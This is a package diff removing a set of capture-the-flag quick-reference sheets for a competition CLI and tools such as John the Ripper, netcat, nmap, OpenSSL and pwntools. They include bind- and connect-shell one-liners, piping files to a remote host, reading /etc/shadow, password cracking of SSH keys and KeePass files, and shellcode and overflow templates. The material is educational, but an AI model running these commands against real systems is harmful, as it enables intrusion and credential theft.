icoa-cli 2.19.459 → 2.19.461

package/refs/icoa.txt

@@ -1,72 +0,0 @@
-ICOA CLI v2.5 — Quick Reference
-==============================
-
-MODES (selected on first run)
-  National Selection     Lightweight exam-only mode
-  International Olympiad Full CTF competition mode
-  Organizer              Partner management mode
-  setup → Switch Mode    Change mode anytime
-
-GETTING STARTED
-  join <url>             Connect to server
-  activate <token>       Unlock (Olympiad mode only)
-  env                    Check tool environment (Olympiad only)
-  help                   Show all commands
-
-COMPETITION
-  challenges (ch)        List all challenges
-  open <id>              View challenge details
-  submit <id> <flag>     Submit a flag
-  scoreboard (sb)        View rankings
-  status                 Hint budget, score, rank, time
-  time                   Competition countdown
-
-EXAM (National Selection)
-  exam list              Available exams for your country
-  exam start <id>        Begin exam (starts timer)
-  exam q [n]             View question n (or all)
-  exam answer <n> <A-D>  Answer question n
-  exam review            Review all answers
-  exam submit            Submit for grading
-  exam result            View your score
-
-AI HINTS
-  hint <question>        Level A — General guidance (50 uses)
-  hint-b <question>      Level B — Deep analysis (10 uses)
-  hint-c <question>      Level C — Critical assist (2 uses)
-  hint budget            Show remaining budget
-
-TOOLS
-  ref <topic>            Quick reference (38 topics)
-  files <id>             Download challenge files
-  connect <id>           Connect to remote target
-  note <text>            Personal notepad
-  log                    Session history
-  log stats              Session statistics
-  log export             Export audit trail (JSON)
-
-SYSTEM COMMANDS
-  python solve.py        Run Python (forced to 3.12.13)
-  nano solve.py          Edit files
-  gcc -o pwn pwn.c       Compile code
-  Any Linux command      Runs in ~/icoa-workspace/
-
-SETTINGS
-  setup                  Configure API keys
-  lang <code>            Switch language (en/zh/ja/ko/es)
-  clear                  Clear screen
-  exit                   Save session & quit
-
-SHORTCUTS
-  ch = challenges
-  sb = scoreboard
-  flag = submit
-
-TIPS
-  - Use 'open <id>' before 'hint' to set challenge context
-  - Level A hints are cheap — use freely for direction
-  - Level C hints require confirmation — use wisely
-  - All commands are logged for audit
-  - python/python3 always uses Python 3.12.13
-  - System commands run in ~/icoa-workspace/ (sandboxed)
-  - Use 'ref <topic>' for zero-cost tool references

package/refs/john.txt

@@ -1,74 +0,0 @@
-John the Ripper Quick Reference
-================================
-
-BASIC USAGE
-  john hash.txt                  Auto-detect and crack
-  john --wordlist=words.txt hash.txt   Dictionary attack
-  john --show hash.txt           Show cracked passwords
-
-HASH FORMATS
-  john --format=raw-md5 hash.txt
-  john --format=raw-sha256 hash.txt
-  john --format=raw-sha512 hash.txt
-  john --format=bcrypt hash.txt
-  john --format=NT hash.txt          NTLM
-  john --format=sha512crypt hash.txt  Linux shadow
-
-  # List all formats
-  john --list=formats
-
-HASH EXTRACTION
-  # Linux shadow file
-  unshadow /etc/passwd /etc/shadow > hashes.txt
-
-  # ZIP file
-  zip2john file.zip > hash.txt
-
-  # RAR file
-  rar2john file.rar > hash.txt
-
-  # PDF
-  pdf2john file.pdf > hash.txt
-
-  # SSH private key
-  ssh2john id_rsa > hash.txt
-
-  # KeePass
-  keepass2john database.kdbx > hash.txt
-
-  # Office documents
-  office2john file.docx > hash.txt
-
-  # 7z archive
-  7z2john file.7z > hash.txt
-
-ATTACK MODES
-  # Wordlist
-  john --wordlist=/path/to/wordlist hash.txt
-
-  # Wordlist with rules
-  john --wordlist=words.txt --rules hash.txt
-  john --wordlist=words.txt --rules=jumbo hash.txt
-
-  # Incremental (brute force)
-  john --incremental hash.txt
-  john --incremental=digits hash.txt
-
-  # Mask
-  john --mask="?a?a?a?a?a" hash.txt
-
-OPTIONS
-  --fork=4                 Use 4 CPU cores
-  --session=name           Save session
-  --restore=name           Restore session
-  --pot=file               Custom potfile
-
-COMMON CTF PATTERNS
-  # Crack ZIP password
-  zip2john secret.zip > zip_hash.txt
-  john --wordlist=rockyou.txt zip_hash.txt
-  john --show zip_hash.txt
-
-  # Crack SSH key
-  ssh2john id_rsa > ssh_hash.txt
-  john --wordlist=rockyou.txt ssh_hash.txt

package/refs/linux.txt

@@ -1,58 +0,0 @@
-Linux Commands Quick Reference
-==============================
-
-FILE OPERATIONS
-  ls -la                 List files with details
-  cat file               Display file contents
-  head -n 20 file        First 20 lines
-  tail -n 20 file        Last 20 lines
-  less file              Page through file
-  find . -name "*.txt"   Find files by name
-  grep -r "pattern" .    Search file contents recursively
-  cp src dest            Copy file
-  mv src dest            Move/rename file
-  rm file                Delete file
-  chmod +x file          Make file executable
-  file filename          Determine file type
-
-TEXT PROCESSING
-  grep "pattern" file    Search for pattern
-  grep -i "pat" file     Case-insensitive search
-  sed 's/old/new/g' f    Replace text
-  awk '{print $1}' f     Print first column
-  sort file              Sort lines
-  uniq file              Remove duplicate lines
-  wc -l file             Count lines
-  cut -d: -f1 file       Cut fields by delimiter
-  tr 'a-z' 'A-Z'        Translate characters
-  xxd file               Hex dump
-  xxd -r hex.txt bin     Reverse hex dump
-
-SYSTEM
-  ps aux                 List processes
-  kill PID               Kill process
-  uname -a               System info
-  df -h                  Disk usage
-  free -m                Memory usage
-  which command          Find command location
-  env                    Show environment variables
-
-NETWORKING
-  curl URL               HTTP request
-  wget URL               Download file
-  ping host              Test connectivity
-  ss -tlnp               Show listening ports
-  ip addr                Show IP addresses
-  dig domain             DNS lookup
-
-PERMISSIONS
-  chmod 755 file         rwxr-xr-x
-  chmod 644 file         rw-r--r--
-  chown user:group file  Change ownership
-
-REDIRECTION
-  cmd > file             Redirect stdout to file
-  cmd >> file            Append stdout to file
-  cmd 2> file            Redirect stderr
-  cmd1 | cmd2            Pipe output
-  cmd < file             Redirect stdin from file

package/refs/nc.txt

@@ -1,64 +0,0 @@
-Netcat (nc) Quick Reference
-===========================
-
-BASIC CONNECTION
-  nc host port                   Connect to host:port
-  nc -v host port                Verbose connection
-  nc -nv host port               No DNS, verbose
-
-LISTENING
-  nc -lp port                    Listen on port
-  nc -lvp port                   Listen verbose
-  nc -lp port -e /bin/bash       Bind shell (dangerous)
-
-DATA TRANSFER
-  # Send file
-  nc -lp 4444 > received.txt                    (receiver)
-  nc host 4444 < send.txt                       (sender)
-
-  # Pipe command output
-  echo "data" | nc host port
-  cat file | nc host port
-
-SCANNING
-  nc -zv host 1-1000             Port scan
-  nc -zvw1 host 80               Single port check (-w1 = 1s timeout)
-
-OPTIONS
-  -l                             Listen mode
-  -p port                        Specify port
-  -v                             Verbose
-  -n                             No DNS resolution
-  -w seconds                     Timeout
-  -z                             Zero I/O (scan mode)
-  -u                             UDP mode
-  -e prog                        Execute program on connect
-  -k                             Keep listening after disconnect
-
-NCAT (enhanced netcat)
-  ncat --ssl host port           SSL/TLS connection
-  ncat -lp port --ssl            SSL listener
-  ncat --proxy proxyhost:port host port    Via proxy
-
-SOCAT (advanced)
-  socat TCP:host:port -          Basic connect
-  socat TCP-LISTEN:port -        Basic listen
-  socat TCP:host:port EXEC:/bin/bash   Connect shell
-  socat OPENSSL:host:443 -      SSL connect
-
-COMMON CTF PATTERNS
-  # Connect to challenge
-  nc challenge.ctf.com 1337
-
-  # Send payload
-  python3 -c "print('A'*100)" | nc host port
-
-  # Interactive + send file
-  (cat payload; cat -) | nc host port
-
-  # Receive then interact
-  nc host port
-  # type commands interactively
-
-  # Redirect to file for analysis
-  nc host port | tee output.txt

package/refs/nmap.txt

@@ -1,57 +0,0 @@
-Nmap Quick Reference
-====================
-
-BASIC SCANS
-  nmap target                    Default scan (top 1000 ports)
-  nmap -p 80,443 target          Specific ports
-  nmap -p 1-65535 target         All ports
-  nmap -p- target                All ports (shorthand)
-  nmap -F target                 Fast scan (top 100)
-
-SCAN TYPES
-  nmap -sT target                TCP connect scan
-  nmap -sS target                SYN scan (stealth, needs root)
-  nmap -sU target                UDP scan
-  nmap -sV target                Version detection
-  nmap -sC target                Default scripts
-  nmap -A target                 Aggressive (OS + version + scripts)
-  nmap -O target                 OS detection
-
-SERVICE / VERSION
-  nmap -sV target                Detect service versions
-  nmap -sV --version-intensity 5 target   More aggressive
-
-SCRIPTS
-  nmap --script=default target   Default scripts
-  nmap --script=vuln target      Vulnerability scripts
-  nmap --script=http-enum target HTTP enumeration
-  nmap --script=smb-vuln* target SMB vulnerabilities
-
-OUTPUT
-  nmap -oN output.txt target     Normal output
-  nmap -oX output.xml target     XML output
-  nmap -oG output.gnmap target   Grepable output
-  nmap -oA basename target       All formats
-
-HOST DISCOVERY
-  nmap -sn 10.0.0.0/24          Ping sweep (no port scan)
-  nmap -Pn target                Skip host discovery
-
-TIMING
-  nmap -T0 target                Paranoid (slowest)
-  nmap -T3 target                Normal (default)
-  nmap -T4 target                Aggressive
-  nmap -T5 target                Insane (fastest)
-
-COMMON CTF COMBOS
-  # Full enumeration
-  nmap -sC -sV -p- target
-
-  # Quick overview
-  nmap -sV -F target
-
-  # UDP + TCP
-  nmap -sS -sU -p 1-1000 target
-
-  # Script scan for HTTP
-  nmap --script=http-* -p 80,443,8080 target

package/refs/numpy.txt

@@ -1,59 +0,0 @@
-NumPy Quick Reference
-=====================
-
-IMPORT
-  import numpy as np
-
-ARRAY CREATION
-  np.array([1, 2, 3])           From list
-  np.zeros((3, 4))              3x4 zeros
-  np.ones((3, 4))               3x4 ones
-  np.arange(0, 10, 2)           [0, 2, 4, 6, 8]
-  np.linspace(0, 1, 5)          5 evenly spaced [0,1]
-  np.eye(3)                     3x3 identity matrix
-  np.random.randint(0, 256, 100)  Random integers
-  np.frombuffer(data, dtype=np.uint8)  From bytes
-
-ARRAY INFO
-  a.shape                       Dimensions
-  a.dtype                       Data type
-  a.size                        Total elements
-  a.ndim                        Number of dimensions
-
-OPERATIONS
-  a + b                         Element-wise add
-  a * b                         Element-wise multiply
-  a @ b / np.dot(a, b)          Matrix multiply
-  a.T                           Transpose
-  np.linalg.inv(a)              Inverse
-  np.linalg.det(a)              Determinant
-  np.linalg.solve(A, b)         Solve Ax = b
-
-TYPE CONVERSION
-  a.astype(np.uint8)            Convert type
-  a.tobytes()                   Array → bytes
-  np.frombuffer(b, np.uint8)    Bytes → array
-
-INDEXING
-  a[0]                          First element
-  a[-1]                         Last element
-  a[1:5]                        Slice
-  a[a > 5]                      Boolean indexing
-  a.reshape(3, 4)               Reshape
-
-USEFUL FOR CTF
-  # XOR arrays
-  result = np.bitwise_xor(a, b)
-
-  # Byte frequency analysis
-  data = np.frombuffer(file_bytes, dtype=np.uint8)
-  unique, counts = np.unique(data, return_counts=True)
-
-  # Image as array
-  from PIL import Image
-  img_array = np.array(Image.open("img.png"))
-  # img_array.shape → (height, width, channels)
-
-  # Matrix operations for crypto
-  M = np.array([[1,2],[3,4]], dtype=np.int64)
-  result = np.linalg.matrix_power(M, n)

package/refs/openssl.txt

@@ -1,75 +0,0 @@
-OpenSSL Quick Reference
-=======================
-
-HASHING
-  echo -n "text" | openssl md5
-  echo -n "text" | openssl sha1
-  echo -n "text" | openssl sha256
-  openssl dgst -sha256 file       Hash a file
-
-ENCODING / DECODING
-  echo -n "text" | openssl base64          Encode base64
-  echo "dGV4dA==" | openssl base64 -d      Decode base64
-  echo -n "text" | openssl enc -base64     Same as above
-  xxd -p file                              Hex encode
-
-SYMMETRIC ENCRYPTION
-  # AES-256-CBC encrypt
-  openssl enc -aes-256-cbc -salt -in plain.txt -out enc.bin -k password
-
-  # AES-256-CBC decrypt
-  openssl enc -aes-256-cbc -d -in enc.bin -out plain.txt -k password
-
-  # Specify IV and key directly
-  openssl enc -aes-128-cbc -d -in enc.bin \
-    -K 000102030405060708090a0b0c0d0e0f \
-    -iv 00112233445566778899aabbccddeeff
-
-RSA KEY OPERATIONS
-  # Generate RSA key
-  openssl genrsa -out private.pem 2048
-
-  # Extract public key
-  openssl rsa -in private.pem -pubout -out public.pem
-
-  # View key details
-  openssl rsa -in private.pem -text -noout
-
-  # View public key details
-  openssl rsa -pubin -in public.pem -text -noout
-
-  # Encrypt with public key
-  openssl rsautl -encrypt -pubin -inkey pub.pem -in plain.txt -out enc.bin
-
-  # Decrypt with private key
-  openssl rsautl -decrypt -inkey priv.pem -in enc.bin -out plain.txt
-
-CERTIFICATES
-  # View certificate
-  openssl x509 -in cert.pem -text -noout
-
-  # Extract public key from cert
-  openssl x509 -in cert.pem -pubkey -noout
-
-  # Generate self-signed cert
-  openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
-
-  # Check cert expiry
-  openssl x509 -in cert.pem -noout -dates
-
-SSL / TLS
-  # Connect and show cert
-  openssl s_client -connect host:443
-
-  # Show cert chain
-  openssl s_client -showcerts -connect host:443
-
-COMMON CTF PATTERNS
-  # Decode base64 encoded flag
-  echo "aWNvYXtmbGFnfQ==" | openssl base64 -d
-
-  # Extract RSA parameters for crypto challenge
-  openssl rsa -pubin -in pub.pem -text -noout | grep -E "Modulus|Exponent"
-
-  # Decrypt with known key
-  openssl enc -aes-128-ecb -d -in encrypted -K "$(echo -n key | xxd -p)" -nopad

package/refs/pillow.txt

@@ -1,67 +0,0 @@
-Pillow (PIL) Quick Reference
-============================
-
-INSTALLATION
-  pip install pillow
-
-BASIC USAGE
-  from PIL import Image
-
-  img = Image.open("image.png")
-  img.save("output.png")
-  img.show()
-
-IMAGE INFO
-  img.size                 (width, height)
-  img.mode                 "RGB", "RGBA", "L", "1"
-  img.format               "PNG", "JPEG", etc.
-  img.info                 Metadata dict
-
-PIXEL ACCESS
-  px = img.load()          Get pixel access
-  px[x, y]                 Get pixel value
-  px[x, y] = (R, G, B)    Set pixel value
-
-  # Get all pixels
-  pixels = list(img.getdata())
-
-CONVERSIONS
-  img.convert("L")         Grayscale
-  img.convert("RGB")       RGB
-  img.convert("RGBA")      RGBA
-  img.convert("1")         Black and white
-
-OPERATIONS
-  img.resize((w, h))       Resize
-  img.crop((l, t, r, b))   Crop (left, top, right, bottom)
-  img.rotate(90)           Rotate
-  img.transpose(Image.FLIP_LEFT_RIGHT)   Flip horizontal
-
-CREATE NEW IMAGE
-  img = Image.new("RGB", (width, height), (255, 255, 255))
-
-COMMON CTF PATTERNS
-  # LSB steganography extraction
-  img = Image.open("steg.png")
-  px = img.load()
-  bits = ""
-  for y in range(img.height):
-      for x in range(img.width):
-          r, g, b = px[x, y][:3]
-          bits += str(r & 1)  # Extract LSB
-  # Convert bits to bytes
-  message = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
-
-  # Hide data in pixels
-  for i, byte in enumerate(data):
-      x, y = i % img.width, i // img.width
-      r, g, b = px[x, y][:3]
-      px[x, y] = ((r & 0xFE) | (byte >> 7 & 1), g, b)
-
-  # Visual comparison
-  from PIL import ImageChops
-  diff = ImageChops.difference(img1, img2)
-  diff.save("diff.png")
-
-  # Extract text from image regions
-  region = img.crop((10, 10, 200, 50))

package/refs/pwntools.txt

@@ -1,79 +0,0 @@
-Pwntools Quick Reference
-========================
-
-INSTALLATION
-  pip install pwntools
-
-CONNECTION
-  from pwn import *
-
-  # Remote connection
-  r = remote("host", port)
-
-  # Local process
-  p = process("./binary")
-
-  # SSH
-  s = ssh("user", "host", password="pass")
-
-SEND / RECEIVE
-  r.send(b"data")               Send raw bytes
-  r.sendline(b"data")           Send + newline
-  r.sendafter(b"prompt", data)  Send after receiving
-  r.sendlineafter(b">", data)   Sendline after prompt
-
-  r.recv(1024)                  Receive up to N bytes
-  r.recvline()                  Receive one line
-  r.recvuntil(b":")             Receive until delimiter
-  r.recvall()                   Receive everything
-  r.interactive()               Interactive mode
-
-PACKING / UNPACKING
-  p32(0x41414141)               Pack 32-bit (little-endian)
-  p64(0x41414141)               Pack 64-bit
-  u32(b"\x41\x41\x41\x41")     Unpack 32-bit
-  u64(data)                     Unpack 64-bit
-  p32(addr, endian='big')       Big-endian pack
-
-ELF ANALYSIS
-  e = ELF("./binary")
-  e.symbols["main"]             Function address
-  e.got["puts"]                 GOT entry
-  e.plt["puts"]                 PLT entry
-  e.search(b"/bin/sh")          Search for bytes
-  e.address                     Base address
-
-ROP
-  rop = ROP(e)
-  rop.call("puts", [got_puts])  Call function
-  rop.raw(gadget_addr)          Raw gadget
-  rop.chain()                   Build chain
-  rop.find_gadget(["pop rdi"])  Find gadget
-
-SHELLCODE
-  shellcraft.sh()               /bin/sh shellcode
-  shellcraft.cat("flag.txt")    cat file
-  asm(shellcraft.sh())          Assemble shellcode
-
-CRYPTO
-  xor(data, key)                XOR data with key
-  xor_key(plain, cipher)        Find XOR key
-
-CONTEXT
-  context.arch = "amd64"        Set architecture
-  context.os = "linux"          Set OS
-  context.log_level = "debug"   Debug output
-  context.terminal = ["tmux", "splitw", "-h"]
-
-FORMAT STRING
-  fmtstr_payload(offset, {addr: value})
-
-COMMON PATTERNS
-  # Buffer overflow
-  payload = b"A" * offset
-  payload += p64(ret_addr)
-  r.sendline(payload)
-
-  # Leak address
-  r.recvuntil(b"output: ")
-  leak = u64(r.recv(6).ljust(8, b"\x00"))

package/refs/pycrypto.txt

@@ -1,77 +0,0 @@
-PyCryptodome Quick Reference
-============================
-
-INSTALLATION
-  pip install pycryptodome
-
-AES
-  from Crypto.Cipher import AES
-  from Crypto.Util.Padding import pad, unpad
-
-  # AES-ECB
-  cipher = AES.new(key, AES.MODE_ECB)
-  ct = cipher.encrypt(pad(data, 16))
-  pt = unpad(cipher.decrypt(ct), 16)
-
-  # AES-CBC
-  cipher = AES.new(key, AES.MODE_CBC, iv=iv)
-  ct = cipher.encrypt(pad(data, 16))
-  cipher2 = AES.new(key, AES.MODE_CBC, iv=iv)
-  pt = unpad(cipher2.decrypt(ct), 16)
-
-  # AES-CTR
-  cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
-  ct = cipher.encrypt(data)   # no padding needed
-
-  # AES-GCM
-  cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
-  ct, tag = cipher.encrypt_and_digest(data)
-
-RSA
-  from Crypto.PublicKey import RSA
-  from Crypto.Cipher import PKCS1_OAEP
-
-  # Generate key
-  key = RSA.generate(2048)
-  pub = key.publickey()
-
-  # Encrypt / Decrypt
-  cipher = PKCS1_OAEP.new(pub)
-  ct = cipher.encrypt(data)
-  cipher = PKCS1_OAEP.new(key)
-  pt = cipher.decrypt(ct)
-
-  # RSA math
-  key = RSA.import_key(open("key.pem").read())
-  n = key.n    # modulus
-  e = key.e    # public exponent
-  d = key.d    # private exponent
-  p = key.p    # prime 1
-  q = key.q    # prime 2
-
-  # Textbook RSA
-  ct = pow(m, e, n)    # encrypt
-  pt = pow(ct, d, n)   # decrypt
-
-HASHING
-  from Crypto.Hash import SHA256, MD5, SHA1
-
-  h = SHA256.new(data)
-  print(h.hexdigest())
-
-  h = MD5.new(data)
-  print(h.hexdigest())
-
-RANDOM
-  from Crypto.Random import get_random_bytes
-  key = get_random_bytes(16)  # 16 random bytes
-  iv  = get_random_bytes(16)
-
-USEFUL MATH
-  from Crypto.Util.number import *
-  long_to_bytes(n)          Number → bytes
-  bytes_to_long(b)          Bytes → number
-  getPrime(1024)            Random 1024-bit prime
-  isPrime(n)                Primality test
-  inverse(e, phi)           Modular inverse
-  GCD(a, b)                 Greatest common divisor